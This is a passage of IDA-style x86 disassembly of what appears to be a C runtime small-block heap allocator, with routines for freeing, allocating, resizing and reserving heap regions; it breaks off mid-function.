loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------

loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------

loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]

loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx

loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi

loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi

loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------

loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------

loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]

loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB

loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------

loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DC934
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DC92C
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DC92C
		mov	eax, dword_4DC934
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DC934
		mov	ecx, dword_4DC92C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DC934
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DC934
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DC934

loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DC934
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2790000h
		mov	eax, dword_4DC938
		mov	edx, dword_4DC93C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DC934
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DC938
		cmp	eax, dword_4DC934
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h

loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DC93C
		mov	dword_4DC930, eax

loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DC92C, edi
		mov	dword_4DC934, eax

loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DC938
		mov	edx, dword_4DC93C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------

loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DC930
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242

loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229

loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx

loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------

loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax

loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0

loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------

loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]

loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx

loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------

loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax

loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9

loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0

loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------

loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DC930, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E

loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B

loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304

loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]

loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------

loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi

loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]

loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------

loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]

loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------

loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]

loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DC934
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC92C
		jnz	short loc_41E4C7
		and	dword_4DC934, 0

loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DC938
		mov	ecx, dword_4DC928
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DC93C
		push	edi
		push	dword_4DC944
		call	near ptr 2850000h
		nop
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DC928, 10h
		mov	dword_4DC93C, eax
		mov	eax, dword_4DC938

loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DC93C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DC944
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27A0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 28B0846h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DC944
		nop
		call	near ptr 2790000h

loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------

loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DC938
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------

loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 28B0846h
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------

loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]

loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5

loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi

loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------

loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi

loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------

loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx

loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------

loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]

loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------

loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------

loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi

loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi

loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
